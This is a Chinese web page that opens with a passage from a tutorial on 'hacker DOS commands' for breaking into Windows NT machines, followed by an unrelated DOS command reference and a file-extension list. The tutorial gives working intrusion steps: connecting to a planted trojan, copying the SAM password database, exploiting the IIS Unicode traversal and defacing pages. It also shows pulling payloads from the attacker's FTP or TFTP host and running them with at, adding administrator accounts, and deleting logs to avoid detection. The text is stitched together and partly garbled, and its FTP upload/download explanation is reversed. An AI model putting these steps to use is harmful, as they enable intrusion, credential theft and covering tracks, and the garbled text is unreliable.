這個命令非常實用,它可以與遠方做連接，不過正常下需要密碼、用戶,不過你給對方種了木馬,直接連到這個木馬打開的埠.

telnet 127.0.0.1 99

這樣就可以連到對方的99埠.那你就可以在對方運行命令了,這個也就是肉雞.

4:FTP

它可以將你的東西傳到對方機子上,你可以去申請個支持FTP上傳的空間,國內多的是,如果真的找不到,我給個www.51.NET,不錯的.當我們申請完後，它會給用戶名,密碼,以及FTP伺服器.

在上傳前需要登陸先，這里我們假設FTP伺服器是www.51.NET,用戶名是HUCJS,密碼是654321

ftp www.51.net

他會要求輸入用戶,成功後會要求輸入密碼.

----------------------

下面先說上傳,假設你需上傳的文件是INDEX.HTM,它位於C:\下,傳到對方D:\

get c:\index.htm d:\

假設你要把對方C盤下的INDEX.HTM,下到你的機子的D盤下

put c:\index.htm d:\

5:

下面我說說怎樣把本地的文件復制到對方硬碟上去，需要建立好IPC$連接才有效。

這里我們把本地C盤下的index.htm復制到127.0.0.1的C盤下

index.htm \\127.0.0.1\c$\index.htm

----------------------

如果你要復制到D盤下把C改為D，就行了！

index.htm \\127.0.0.1\d$\index.htm

----------------------

如果你要把他復制到WINNT目錄里

就要把輸入

index.htm \\127.0.0.1\admin$\index.htm

admin$是winnt

----------------------

要把對方的文件復制過來，順便告訴大家NT的備份的資料庫放在x:\winnt\repair\sam._ sam._是資料庫的文件名

下面就把127.0.0.1的資料庫復制到本地C盤下

\\127.0.0.1\admin$\repair\sam._ c:\

----------------------

6：set

如果你跑進了一部機子，而且想黑他（這思想只能在特別時候才准有），當然他的80埠要開，不然你黑給誰看。這時需要用SET命令！

下面是我得到的結果！我來分析它，只是找主頁在那而已。

COMPUTERNAME=PENTIUMII
ComSpec=D:\WINNT\system32\cmd.exe
CONTENT_LENGTH=0
GATEWAY_INTERFACE=CGI/1.1
HTTP_ACCEPT=*/*
HTTP_ACCEPT_LANGUAGE=zh-cn
HTTP_CONNECTION=Keep-Alive
HTTP_HOST=當前登陸者的IP，這里本來是顯示我的IP，被我刪除了
HTTP_ACCEPT_ENCODING=gzip, deflate
HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
NUMBER_OF_PROCESSORS=1
Os2LibPath=D:\WINNT\system32\os2\dll;
OS=Windows_NT
Path=D:\WINNT\system32;D:\WINNT
PATHEXT=.COM;.EXE;.BAT;.CMD
PATH_TRANSLATED=E:\vlroot主頁放在的地址，只要你看到PATH_TRANSLATED=的後面就是主頁的存放地址。這里是E:\vlroot
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 3 Stepping 3, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0303
PROMPT=$P$G
QUERY_STRING=/c+set
REMOTE_ADDR=XX.XX.XX.XX
REMOTE_HOST=XX.XX.XX.XX
REQUEST_METHOD=GET
SCRIPT_NAME=/scripts/..%2f../winnt/system32/cmd.exe
SERVER_NAME=XX.XX.XX.XX
SERVER_PORT=80
SERVER_PORT_SECURE=0
SERVER_PROTOCOL=HTTP/1.1
SERVER_SOFTWARE=Microsoft-IIS/3.0對方使用IIS/3.0
SystemDrive=D:
SystemRoot=D:\WINNT
TZ=GMT-9
USERPROFILE=D:\WINNT\Profiles\Default User
windir=D:\WINNT

粉紅色的那行就是對方主頁存放地址，這里告訴大家一個技巧，很笨的技巧啊，不過只能用這個方法才能100%的找到主頁的名稱，當你DIR這個目錄時，一定會看到很多文件，你可以把所有文件在瀏覽器這樣輸入XX.XX.XX.XX/文件名，這樣只要看到和XX.XX.XX.XX看到的也面一模一樣，那麼這就是主頁的名稱了。

7：nbtstat

如果你掃到一部NT的機子，他的136到139其中一個埠開了的話，就要用這個命令得到用戶了。順便告訴大家這是netbios，得到用戶名後就可以猜猜密碼了。例如比較簡單的密碼，密碼和用戶名一樣的，都試下，不行就暴力破解吧！

現在網上很多NT的機子都開了這些埠的，你可以練習下，我們來分析得到的結果。

命令是

nbtstat -A XX.XX.XX.XX

-A一定要大寫哦。

下面是得到的結果。

NetBIOS Remote Machine Name Table

Name Type Status
---------------------------------------------
Registered Registered Registered Registered Registered Registered Registered Reg
istered Registered Registered Registered
MAC Address = 00-E0-29-14-35-BA
PENTIUMII <00> UNIQUE
PENTIUMII <20> UNIQUE
ORAHOTOWN <00> GROUP
ORAHOTOWN <1C> GROUP
ORAHOTOWN <1B> UNIQUE
PENTIUMII <03> UNIQUE
INet~Services <1C> GROUP
IS~PENTIUMII...<00> UNIQUE
ORAHOTOWN <1E> GROUP
ORAHOTOWN <1D> UNIQUE
..__MSBROWSE__.<01> GROUP

粉紅色的就是登陸過這部系統的用戶，可能你不知道怎麼看，大家是不是看到了一竄數字，只要這竄數字是<03>的話，那他前面的就是用戶。

這里的用戶是PENTIUMII。

8：Shutdown

關了對方的NT伺服器的命令

Shutdown \\IP地址 t:20

20秒後將NT自動關閉，三思後才能運行這個命令，這樣對對方造很大的損失，要做個有良心的入侵者呀。

9：DIR

這個命令沒什麼好講，但是卻非常重要，他是查看一目錄里的所有文件、文件夾。

你可以本地試下。

10：echo

著名的漏洞Unicode，這個命令可以簡單的黑一下有這個漏洞的主機。

我們假設我們要把「反獨裁，反一黨制！」寫入index.htm，有2種方法，大家看看有什麼區別。

echo 反獨裁，反一黨制！>index.htm

echo 反獨裁，反一黨制！>>index.htm

第一個的意思是覆蓋index.htm原有的內容，把「反獨裁，反一黨制！」寫進index.htm。

第二個的意思是把「反獨裁，反一黨制！」加到index.htm裡面。

「>>」產生的內容將追加進文件中，「>」則將原文件內容覆蓋。

大家可以本地試下。

可能你會問，這樣簡單黑下有什麼好玩的，其實他可以用來下載主頁到對方的目錄里。

1、首先，我們需要申請一個免費的主頁空間。

2、用echo在可寫目錄下建立如下內容的txt文件：（以chinren伺服器為例。）
open upload.chinaren.com（你的FTP伺服器，申請時你的空間提供商會給你的）
cnhack（你申請時的用戶名）
test（你申請時的密碼）
get index.htm c:\inetpub\wwwroot\index.htm（這里是把你空間上的index.htm下載到對方的c:\inetpub\wwwroot\index.htm）
bye（退出FTP對話，相當在98下的DOS，用EXIT退出DOS）

具體的做法：
輸入 echo open upload.chinaren.com> c:\cnhack.txt
輸入 echo cnhack >> c:\cnhack.txt
輸入 echo 39abs >> c:\cnhack.txt
輸入 echo get index.htm c:\inetpub\wwwroot\index.htm+>>+c:\cnhack.txt
最後輸入 ftp -s:c:\cnhack.txt （利用ftp的-s參數，執行文件里的內容。）

等命令完成時，文件已經下載到你指定的文件里了。

注意：取得文件後，請刪除cnhack.txt。（如果不刪除，很容易會給別人看到你的密碼。）

記得要 del c:\cnhack.txt

11:attrib

這個命令是設置文件屬性的。如果你想黑一個站，而他的主頁的文件屬性設置了只讀，那就很可憐呀，想刪除他也不行，想覆蓋他也不行。倒！不過有這個命令就別怕了。

attrib -r index.htm

這個命令是把index.htm的只讀屬性去掉。

如果把「-」改為「+」則是把這個文件的屬性設置為只讀

----------------------

attrib +r index.htm

這個命令是把index.htm的屬性設置為只讀。

12:del

當你看到這個標題可別倒下啊！現在要離開127.0.0.1了，要刪除日誌，當然要刪除日誌啦！想被捉嗎。呵呵。

NT的日誌有這些

del C:\winnt\system32\logfiles\*.*
del C:\winnt\ssytem32\config\*.evt
del C:\winnt\system32\dtclog\*.*
del C:\winnt\system32\*.log
del C:\winnt\system32\*.txt
del C:\winnt\*.txt
del C:\winnt\*.log

只要刪除這些就可以了。有些系統NT安裝在D盤或其他盤，就要把C改成其他盤。

黑客常用dos命令2
建立一個空連接
命令：net use \\192.168.0.198\ipc$ "" /user:"administrator"

查看遠程主機的共享資源
命令：net view \\ip

查看遠程主機的當前時間
命令： net time \\ip

得到遠程主機的NetBIOS用戶名列表（需要打開自己的NBT）
命令：nbtstat -A ip

刪除連接:
net use \\127.0.0.1\ipc$ /del

映射/刪除遠程共享:
net use z: \\127.0.0.1\c

向遠程主機復制文件:
路徑\文件名 \\IP\共享目錄名，如：
d:\3389.exe \\IP\c$ 即將d盤下的3389.exe復制到對方c盤內

把遠程主機上的文件復制到自己的機器里：
\\127.0.0.1\c$\xinxin.exe c:\

遠程添加計劃任務:
at \\IP 時間 程序名 如：
at \\IP 11:00 3389.exe

1）查看本地主機的共享資源（可以看到本地的默認共享）
net share

2）得到本地主機的用戶列表
net user

3）顯示本地某用戶的帳戶信息
net user 帳戶名

4）顯示本地主機當前啟動的服務
net start

5）啟動/關閉本地服務
net start 服務名
net stop 服務名

6）在本地添加帳戶
net user 帳戶名 密碼 /add

7）激活禁用的用戶
net uesr 帳戶名 /active:yes

8）加入管理員組
net localgroup administrators xuliguo /add

tftp -i 你的IP get **.exe c:\winnt\system32\**.exe

m溢出的對方SHELL後在DOS下上傳木馬
tftp -i 自已的IP get ***.exe
time
at \\對方的IP 時間 ***.exe

DOS命令大全
一）MD——建立子目錄
1．功能：創建新的子目錄
2．類型：內部命令
3．格式：MD[盤符：][路徑名]〈子目錄名〉
4．使用說明：
（1）「盤符」：指定要建立子目錄的磁碟驅動器字母，若省略，則為當前驅動器；
（2）「路徑名」：要建立的子目錄的上級目錄名，若預設則建在當前目錄下。
例：（1）在C盤的根目錄下創建名為FOX的子目錄；（2）在FOX子目錄下再創建USER子目錄。
C：、＞MD FOX （在當前驅動器C盤下創建子目錄FOX）
C：、＞MD FOX 、USER （在FOX 子目錄下再創建USER子目錄）
（二）CD——改變當前目錄
1．功能：顯示當前目錄
2．類型：內部命令
3．格式：CD[盤符：][路徑名][子目錄名]
4．使用說明：
（1）如果省略路徑和子目錄名則顯示當前目錄；
（2）如採用「CD、」格式，則退回到根目錄；
（3）如採用「CD.。」格式則退回到上一級目錄。
例：（1）進入到USER子目錄；（2）從USER子目錄退回到子目錄；（3）返回到根目錄。
C:、＞CD FOX 、USER（進入FOX子目錄下的USER子目錄）
C:、FOX、USER＞CD.。 （退回上一級根目錄）
C：、FOX＞CD、 （返回到根目錄）
C：、＞
（三）RD——刪除子目錄命令
1．功能：從指定的磁碟刪除了目錄。
2．類型：內部命令
3．格式：RD[盤符：][路徑名][子目錄名]
4．使用說明：
（1）子目錄在刪除前必須是空的，也就是說需要先進入該子目錄，使用DEL（刪除文件的命令）將其子目錄下的文件刪空，然後再退回到上一級目錄，用RD命令刪除該了目錄本身；
（2）不能刪除根目錄和當前目錄。
例：要求把C盤FOX子目錄下的USER子目錄刪除，操作如下：
第一步：先將USER子目錄下的文件刪空；
C、＞DEL C：、FOX、USER、*。*
第二步，刪除USER子目錄。
C、＞RD C：、FOX、USER
（四）DIR——顯示磁碟目錄命令
1．功能：顯示磁碟目錄的內容。
2．類型：內部命令
3．格式：DIR [盤符][路徑][/P][/W]
4．
使用說明：/P的使用；當欲查看的目錄太多，無法在一屏顯示完屏幕會一直往上卷，不容易看清，加上/P參數後，屏幕上會分面一次顯示23行的文件信息，然後暫停，並提示；Press
any key to continue
/W的使用：加上/W只顯示文件名，至於文件大小及建立的日期和時間則都省略。加上參數後，每行可以顯示五個文件名。
PATH——路徑設置命令
1．功能：設備可執行文件的搜索路徑，只對文件有效。
2．類型：內部命令
3．格式：PATH[盤符1]目錄[路徑名1]{[；盤符2：]，〈目錄路徑名2〉…}
4．使用說明：
（1）當運行一個可執行文件時，DOS會先在當前目錄中搜索該文件，若找到則運行之；若找不到該文件，則根據PATH命令所設置的路徑，順序逐條地到目錄中搜索該文件；
（2）PATH命令中的路徑，若有兩條以上，各路徑之間以一個分號「；」隔開；
（3）PATH命令有三種使用方法：
PATH[盤符1：][路徑1][盤符2：][路徑2]…（設定可執行文件的搜索路徑） PATH：（取消所有路徑）
PATH：（顯示目前所設的路徑）
（六）TREE——顯示磁碟目錄結構命令
1．功能：顯示指定驅動器上所有目錄路徑和這些目錄下的所有文件名。
2．類型：外部命令
3．格式：TREE[盤符：][/F][》PRN]
4．使用說明：
（1）使用/F參數時顯示所有目錄及目錄下的所有文件，省略時，只顯示目錄，不顯示目錄下的文件；
（2）選用＞PRN參數時，則把所列目錄及目錄中的文件名列印輸出。
（七）DELTREE——刪除整個目錄命令
1．功能：將整個目錄及其下屬子目錄和文件刪除。
2．類型：外部命令
3．格式：DELTREE[盤符：]〈路徑名〉
4．使用說明：該命令可以一步就將目錄及其下的所有文件、子目錄、更下層的子目錄一並刪除，而且不管文件的屬性為隱藏、系統或只讀，只要該文件位於刪除的目錄之下，DELTREE都一視同仁，照刪不誤。使用時務必小心！！！
五、磁碟操作類命令
（一）formAT——磁碟格式化命令
1．功能：對磁碟進行格式化，劃分磁軌和扇區；同時檢查出整個磁碟上有無帶缺陷的磁軌，對壞道加註標記；建立目錄區和文件分配表，使磁碟作好接收DOS的准備。
2．類型：外部命令
3．格式：formAT〈盤符：〉[/S][/4][/Q]
4．使用說明：
（1）命令後的盤符不可預設，若對硬碟進行格式化，則會如下列提示：WARNING:ALL DATA ON NON
——REMOVABLE DISK
DRIVE C:WILL BE LOST ！
Proceed with format (Y/N)？
（警告：所有數據在C盤上，將會丟失，確實要繼續格式化嗎？）
（2）若是對軟盤進行格式化，則會如下提示：Insert mew diskette for drive A;
and press ENTER when ready…
（在A驅中插入新盤，准備好後按回車鍵）。
（3）選用[/S]參數，將把DOS系統文件IO.SYS
、MSDOS.SYS及COMMAND.COM復制到磁碟上，使該磁碟可以做為DOS啟動盤。若不選用/S參數，則格式化後的磙盤只能讀寫信息，而不能做為啟動盤；
（4）選用[/4]參數，在1.2MB的高密度軟碟機中格式化360KB的低密度盤；
（5）選用[/Q]參數，快速格式化，這個參數並不會重新劃分磁碟的磁軌貌岸然和扇區，只能將磁碟根目錄、文件分配表以及引導扇區清成空白，因此，格式化的速度較快。
（6）選用[/U]參數，表示無條件格式化，即破壞原來磁碟上所有數據。不加/U，則為安全格式化，這時先建立一個鏡象文件保存原來的FAT表和根目錄，必要時可用UNFORRMAT恢復原來的數據。
（二）UNformAT恢復格式化命令
1．功能：對進行過格式化誤操作丟失數據的磁碟進行恢復。
2．類型：外部命令
3．格式：UNformAT〈盤符〉[/L][/U][/P][/TEST]
4．使用說明：用於將被「非破壞性」格式化的磁碟恢復。根目錄下被刪除的文件或子目錄及磁碟的系統扇區（包括FAT、根目錄、BOOT扇區及硬碟分區表）受損時，也可以用UNformAT來搶救。
（1）選用/L參數列出找到的子目錄名稱、文件名稱、大孝日期等信息，但不會真的做formAT工作。
（2）選用/P參數將顯示於屏幕的報告（包含/L參數所產生的信息）同時也送到列印機。運行時屏幕會顯示：「Print out will
be sent to LPT1」
（3）選用/TEST參數只做模擬試驗（TEST）不做真正的寫入動作。使用此參數屏幕會顯示：「Simulation only」
（4）選用/U參數不使用MIRROR映像文件的數據，直接根據磁碟現狀進行UNformAT。
（5）選用/PSRTN；修復硬碟分區表。
若在盤符之後加上/P、/L、/TEST之一，都相當於使用了/U參數，UNformAT會「假設」此時磁碟沒有MIRROR映像文件。
注意：UNformAT對於剛formAT的磁碟，可以完全恢復，但formAT後若做了其它數據的寫入，則UNformAT就不能完整的救回數據了。UNformAT並非是萬能的，由於使用UNformAT會重建FAT與根目錄，所以它也具有較高的危險性，操作不當可能會擴大損失，如果僅誤刪了幾個文件或子目錄，只需要利用UNDELETE就夠了。
三） CHKDSK——檢查磁碟當前狀態命令
1．功能：顯示磁碟狀態、內存狀態和指定路徑下指定文件的不連續數目。
2．類型：外部命令
3．格式：CHKDSK [盤符：][路徑][文件名][/F][/V]
4．使用說明：
（1）選用[文件名]參數，則顯示該文件佔用磁碟的情況；
（2）選[/F]參數，糾正在指定磁碟上發現的邏輯錯誤；
（3）選用[/V]參數，顯示盤上的所有文件和路徑。
（四）DISKCOPY——整盤復制命令
1．功能：復制格式和內容完全相同的軟盤。
2．類型：外部命令
3．格式：DISKCOPY[盤符1：][盤符2：]
4．使用說明：
（1）如果目標軟盤沒有格式化，則復制時

⑺ 用dos命令同步windows操作系統時間問題

更改日期後，關機，斷電，重啟動。
如果BIOS里日期是正確的，那麼主板沒電的概率就不是很高。
此時要進入操作系統，看操作系統的日期設定是否正確，要第一時間觀察。
如果進入操作系統後一段時間日期時間才變錯，則要檢查啟動項，和注冊表，有可能是某個程序引起的。

⑻ 在dos下怎麼將一個文件夾下的所有文件的路徑保存到一個txt格式的文件

大作用的，以下列舉部分
擴展名的含義：
COM:系統命令文件，主要採用匯編語言編輯而成，二進制代碼格式。其特點是非常短小
，長度一般不超過64KB。
EXE:系統可執行文件，多半採用編程語言（如常見的C、VC、VB、VF等）編譯而成，
其長度沒有什麼限制。在Windows系統中的應用范圍非常廣泛，我們目前所使用的應用程
序基本上都是EXE文件。
BAT:批處理文件，主要由用戶編輯而成，可包含多個不同的應用程序或命令。執行
後，系統會依次啟動該批處理文件包含的所有命令，從而免去了用戶逐條輸入命令之苦
，簡化了用戶的操作。
DLL:動態鏈接庫文件，主要負擔著向其他應用程序提供運行所需的函數、參數、對
話框等信息（任何應用程序，包括用戶自己編輯的程序都可以直接調用*.DLL動態鏈接庫
），從而各應用程序設計者就不必再為諸如對話框設置、函數調用等問題而操心，既方
便了軟體的設計，又減小了可執行文件的大小。
DRV:Windows 98的設備驅動程序，它為系統的絕大多數常規硬體設備（如滑鼠、顯
卡等）提供所需的軟體支持。
SYS:系統擴展管理文件，主要為某些非標准設備（如USB）提供必要的硬體驅動程序
等。
INI:最常見的系統配置文件，在Windows 3.X時代，系統的一切軟硬體配置信息都保
存在*.INI配置文件中。在Windows 95/98中，盡管注冊表資料庫已逐漸取代了INI文件的
作用，但部分應用程序依舊使用INI文件作為系統配置文件。需要提醒大家的是，INI文
件的容量有一定限制，它一般不能超過64KB，否則可能導致一些不可預料的錯誤。
PIF:系統配置文件中的一種，可根據實際情況對每個DOS應用程序在Windows下的
運行狀況（如運行方式、屏幕大小、內存大小、顯示字體等）加以調節，保證DOS程世祥逗序在
Windows中的正常運行。
LOG:日誌文件。我們可使用包括記事本在內的任何文字處理軟體對*.LOG文件進行
編輯處理，它是有關應用程序對自己的運行狀況所作的記錄，以便於用戶查詢相應程序
的運行狀況（如我們在搜賣使用磁碟掃描程序SCANDISK時，系統即會自動在相應磁碟根目錄
下生成一個宴腔磁碟掃描日誌文件SCANDISK.LOG，我們可利用該文件對磁碟的運行狀況進行
了解）。
REG:一種特殊格式的系統配置文件(注冊表文件），可通過注冊表編輯器將Windows
98注冊表資料庫中不可見的信息採用文本格式導出來，用戶可直接通過記事本對其進行
編輯、修改，從而解決了對注冊表資料庫閱讀管理比較困難的問題。雙擊編輯好的*.REG
文件，可將文件中的內容重新導入到注冊表資料庫中，從而達到間接修改注冊表資料庫
的目的。
CFG:部分應用軟體自己配置的文件，保存著軟體運行的有關狀況。
ICO:圖標文件。
SWP:系統交換文件（WIN386.SWP），用於Windows 98採取的虛擬交換文件技術。即
虛擬內存。
LNK:快捷方式文件，由應用程序的實際路徑、啟動目錄、運行參數等內容所構成
，我們只需右擊相應的快捷方式（凡是在圖標中顯示了一個小箭頭的就是快捷方式），
然後從彈出的快捷菜單中執行「屬性」命令就能對快捷方式指定的內容進行修改。
HLP:幫助文件。無論是DOS應用程序，還是Windows應用程序，其幫助系統一般都采
用HLP格式。Windows 98又新增了一種採用HTML格式的*.CHM幫助文件，它較之老式的*.H
LP幫助文件更直觀、更具說服力。Windows 95不支持CHM格式。
CLP:使用剪貼板查看程序將剪貼板中的內容保存下來之後生成的文件。
FND:Windows 98的查找功能所保存的查找記錄文件，我們只需雙擊該文件即可快
速按照上次的保存條件進行查找，使用非常方便。
CHK:當我們使用CHKDSK或SCANDISK對磁碟進行掃描時，若發現丟失的簇，系統就
會將它們轉換為*.CHK臨時文件保存到相應硬碟分區的根目錄中，這些文件一般沒有多大
使用價值，用戶可在確認無用的基礎上將它們刪除。
TXT:純文本格式。在不同操作系統之間可以通用，兼容於不同的文字處理軟體。因
無文件頭，不易被病毒感染。
DOC:由文字處理軟體WORD生成的文檔格式，表現力強、操作簡便。不過Word文檔向
下的兼容性不太好，用高版本Word編輯的文檔無法在低版本中打開，在一定程度上影響
了用戶的使用。
WPS:由國產文字處理軟體WPS生成的文檔格式，老版本的WPS所生成的*.WPS文件實際
上只是一個添加了1024位元組控制符的文本文件，它只能處理文字信息。而WPS 97/2000所
生成的*.WPS文件則在文檔中添加了圖文混排的功能，大大擴展了文檔的應用范圍。值得
一提的是，WPS向下的兼容性較好，即使是採用WPS 2000編輯的文檔，只要沒有在其中插
入圖片，仍然可以在DOS下的老版本WPS中打開。
除了正常的文檔之外，Word和WPS都還提供了專門的模板文件。所謂模板文件，就是
相應文本文件的樣本，它規定了有關字體、字型大小、樣式、格式等內容，此後用戶所生成
的文檔文件就會自動按照模板文件的格式進行設置，簡化了用戶逐一對文檔進行設置的
步驟。Word模板文件的擴展名為DOT ，WPS模板文件的擴展名為WPT。
RTF:一種通用的文字處理格式，幾乎所有的文字處理軟體都能正確地對其進行存取
操作。
WRI:一個非常流行的文檔文件格式，它是Windows自帶的寫字板程序所生成的文檔
文件。
XLS:Excel電子表格文件。
PPTowerpoint演示文稿。
MDB:Access資料庫文檔。
PST:Outlook97個人資料夾文檔。
ASC:ASCII碼文件。
BMP:Windows所使用的基本點陣圖格式，由一組點（像素）組成，幅度大小、顏色
數量等都沒有太大的限制，表現力非常強，不存在失真，因而深受廣大用戶的歡迎。由
於應用環境的差別，*.BMP文件存在著Windows點陣圖、圖標、OS/2點陣圖等幾種不同格式。
特點：文件比較大
GIF:一種應用非常廣泛的圖像文件（特別是在Internet網頁中），它最大的特點是
支持任意大小的圖片、提供了壓縮功能、可將多幅圖畫保存在一個文件中（它是唯一可
存儲動畫的圖形文件GIF89A格式）、最大圖像為64000×64000解析度。特點：顏色數只
有256，文件小
JPG:具有較高壓縮比的圖形文件，（一張1000K的BMP文件壓縮成JPG格式之後可能只
有20～30KB），在壓縮過程中的失真程度很小，目前使用范圍廣泛（特別是Internet網
頁中）。特點：文件小，顏色數和解析度高
PSDHOTOSHOP格式，是ADOBE公司開發的圖像處理軟體PHOTOSHOP中自建的標准文件
格式。
TIF/TIFF:Als開發的跨平台的壓縮點陣圖格式，主要用於掃描儀和桌面出版業。
3DS:3D Studio文件格式，由3d Max Studio 編輯。
WMF:該文件是根據點陣圖和矢量圖混合而成的圖形文件，它最大的特點是可以實現無
極變倍（無論擴大或縮小多少倍都不會產生鋸齒），因而在文字處理等領域應用非常廣
泛。
PCXCX格式，PCX格式是ZSOFT公司在開發圖像處理軟體Paintbrush時開發的一種格
式，存儲格式從1位到24位。它是經過壓縮的格式，佔用磁碟空間較少。該格式出現的時
間較長，並且具有壓縮及全彩色的能力，所以PCX格式現在仍十分流行。
PSPaint Shop Pro生成的圖像格式。
PNGortable Network Graphics，可支持48位色彩，無損壓縮，可高速交替顯示，
是Jpeg的升級替代。
MPEG／MPG:採用MPEG方式壓縮的視頻文件。MPEG（Motion Picture Experts Group
）是目前最常見的視頻壓縮方式，它採用中間幀的壓縮技術，可對包括聲音在內的移動
圖象以1:100的比率進行壓縮，並且它還支持1024×768的解析度、CD音質播放、每秒30
幀的播放速度等優秀功能（我們通常所看的VCD絕大多數都是採用該種格式）。另外，除
*.MPEG和*.MPG之外，部分採用MPEG格式壓縮的視頻文件還以DAT為擴展名，對於這些文
件，用戶應注意不要與同名的*.DAT數據文件相混淆。
QTM:即Quick Time，它最初是蘋果機上使用的一種視頻文件格式，而後進行了擴充
，同時支持Macintosh和PC機，現已成為Internet及個人計算機上的標准視頻格式之一。
AVI:對視頻文件採用的一種有損壓縮方式，該方式的壓縮率較高，並可將音頻和視
頻混合到一起使用，因此盡管畫面質量不是太好，但其應用范圍仍然非常廣泛。支持256
色和RLE壓縮。
RM/RA:RealVideo／RealAudio文件，Real Networks公司所制定的音頻視頻壓縮規
范稱為Real-Media，是目前在Internet上相當流行的跨平台的客戶/伺服器結構多媒體應
用標准，它採用音頻/視頻流和同步回放技術來實現在Intranet上全帶寬地提供最優質的
多媒體，同時也能夠在Internet上以28.8Kbps的傳輸速率提供立體聲和連續視頻。RealM
edia包括三類文件:RealAudio、RealVideo及RealFlash，RealAudio用來傳輸接近CD音質
的音頻數據，RealVideo用來傳輸連續視頻數據，而RealFlash則是RealNetworks公司與M
acromedia公司新近合作推出的一種高壓縮比的動畫格式。
MOV:一種從蘋果機移植到PC機的視頻文件，採用了有損壓縮方式，效果較AVI格式要
稍微好一些。
DAT:常見的vcd、CD光碟的存儲文件格式。
WAV:最常見的聲音文件之一，是微軟公司專門為Windows開發的一種標准數字音頻
文件（又稱波形文件），該文件能記錄各種單聲道或立體聲的聲音信息，並能保證聲音
不失真。但WAV文件有一個致命的缺點，就是它所佔用的磁碟空間太大（每分鍾的音樂大
約需要12兆磁碟空間）。
MID/MIDI:國際MIDI協會開發的樂器數字介面文件，它採用數字方式對樂器所奏出來
的聲音進行記錄（每個音符記錄為一個數字），然後在播放時再對這些記錄進行合成，
因而佔用的磁碟空間非常小，但其效果相對來說要差一些。一般來說，MID文件只適合於
記錄樂曲，而不適合對歌曲進行處理。MID文件主要依靠硬體生成，依靠軟體合成MID文
件的技術目前還不太完善。除正常的MID文件之外，它還有很多變種，如*.RMI、*.CMI、
*.CMF等。
MP3:目前最熱門的音樂文件，採用MPEG Layer 3標准對WAVE音頻文件進行壓縮而成
，其特點是能以較小的比特率、較大的壓縮率達到近乎完美的CD音質（其壓縮率可達1:1
2左右，每分鍾CD音樂大約只需要1兆的磁碟空間）。正是基於這些優點，我們可先將CD
上的音軌以WAV文件的形式抓取到硬碟上，然後再將WAV文件壓縮成MP3文件，既可以從容
欣賞音樂又可以減少光碟機磨損。
CDA:CD音軌文件。
CMF:Creative公司開發的一種聲音文件，類似MIDI。
M3U:MP3播放文件列表。
RMF: MIDI的變通格式。
RMI: MIDI樂器序列。
WMA:Windows Media Rights Manager，此格式採用加密演算法可以保護唱片的版權，
Media Player可以播放。
HTM/HTML:超文本標識語言生成的網頁文件。
DHTML:由動態超文本語言生成的動態網頁。
ASP:Active Script Page，可在NT或WIN2000上用Active script編寫網頁程序。
CGI:公共網關介面程序，可以用Perl、C、VB、JAVA等編寫。
WAB:Outlook Express 的通訊錄文件，廣大用戶只需將這些通訊錄文件備份下來，
即可實現備份Outlook Express通訊錄的目的。
VRML:虛擬現實描述語言。
URL:保存在系統「收藏夾」中的網址信息，用戶在重裝系統之前，只需將Windows
98安裝文件夾「Favorites」子文件夾下的*.URL全部備份下來，即可達到備份「收藏夾
」的目的。
ZIP:目前最流行的壓縮文件格式（在Internet上，ZIP文件已經取得了絕對勝利。
在日常操作中，除專門的壓縮軟體之外，許多文件管理程序，如Windows Commander等也
都支持ZIP格式）。我們可利用它對ZIP文件進行解壓、釋放等操作，還可以用它來處理A
RJ、ARC、CAB、LZH等多種不同格式的壓縮文件，從而大大地方便了用戶的操作。
ARJ:由DOS下曾經紅極一時的壓縮軟體ARJ壓縮而成的文件格式，它具有功能強大、
壓縮率高等優點。在Windows 98時代，盡管它已經沒有了往日的輝煌，但應用范圍仍然
非常廣泛，我們可使用WinARJ、WinZip等軟體對其進行解壓;*.JAR是文件ARJ作者研製的
另外一種超強壓縮格式，其壓縮率比ARJ更高，不過兩者的壓縮格式並不兼容，我們只能
使用JAR或WinJAR釋放*.JAR壓縮包;*.RAR文件則是由DOS下唯一採用圖形界面的壓縮軟體
RAR壓縮而成的，其方便的圖形化操作和極高的壓縮率使得RAR一經推出就吸引了無數用
戶的青睞，不過與ARJ等壓縮格式一樣，它們始終沒能戰勝ZIP而成為Windows的主流，由
於WinZip不支持該壓縮格式，因此我們只能使用RAR或WinRAR對其進行解壓。
CAB:是Windows 98新增的一種特殊壓縮文件格式，主要用於對有關軟體安裝盤中的
文件進行壓縮，其特點是壓縮率非常高（可能是目前最高的），但一經壓縮就不能再進
行任何增加、刪除、替換等修改，也就是說它的壓縮包具有「只讀」屬性。Windows 98
本身就支持直接釋放CAB壓縮包中的內容（Windows 95不支持），我們也可使用WinZip對
CAB壓縮包進行操作。
*._:軟體安裝盤所採用的另一種壓縮文件方式，如*.ex_、*.dl_、*.d3_等，它們一
般由系統直接解壓並完成安裝工作，無需用戶操心。當然，我們也可使用DOS的EXPAND命
令對*.??_文件進行釋放操作。
TTF： 在Windows 98中，系統使用得最多的就是*.TTF（True Type）輪廓字型檔文件
，它既能顯示也能列印，並且支持無極變倍，在任何情況下都不會出現鋸齒問題。而*.F
OT則是與*.TTF文件對應的字體資源文件，它是TTF字體文件的資源指針，指明了系統所
使用的TTF文件的具體位置，而不用必須指定到FONTS文件夾中。*.FNT（矢量字型檔）和*.
FON（顯示字型檔）的應用范圍都比較廣泛。另外，那些使用過老版本的WPS的用戶可能對*
.PS文件還有一定的印象，*.PS實際上是DOS下輪廓字型檔的一種形式，其性能與*.TTF基本
類似，採用某些特殊方法之後，我們甚至還可以實現在Windows中直接使用這些*.PS字型檔
（*.PS1、*.PS2都是PS字型檔）。
DAT:多種應用程序都將自己的數據文件以該擴展名保存到硬碟上，它們一般都是由
系統直接進行調用，用戶不能採用手工對其進行編輯、修改。
DBFbase、FoxBase、Foxpro、Clipper資料庫文件。
RES:Windows資源文件。
SAV:存檔文件。
PDF:一種非常流行的文檔文件，它的最大特點就是無論在什麼操作系統下都能正確
顯示。鑒於PDF文件的這一獨特優點，許多電子書籍、政府文書等內容都採用了PDF格式
。Adobe Acrobat Reader是一個查看、閱讀和列印PDF文件的最佳工具。
WDL:華康科技推出的可攜式文件技術，解決了電子文件傳送、使用過程中由於計算
機平台、語種、應用軟體、字型檔的不同所造成的種種困難（如看到亂碼、文件不能原貌
再現等）。以該種格式保存的圖書後綴名為*.WDL，必須用專門的閱讀器才能閱讀。
BAK:備份文件。系統受損時，利用*.BAK備份文件可進行恢復（將備份文件的擴展
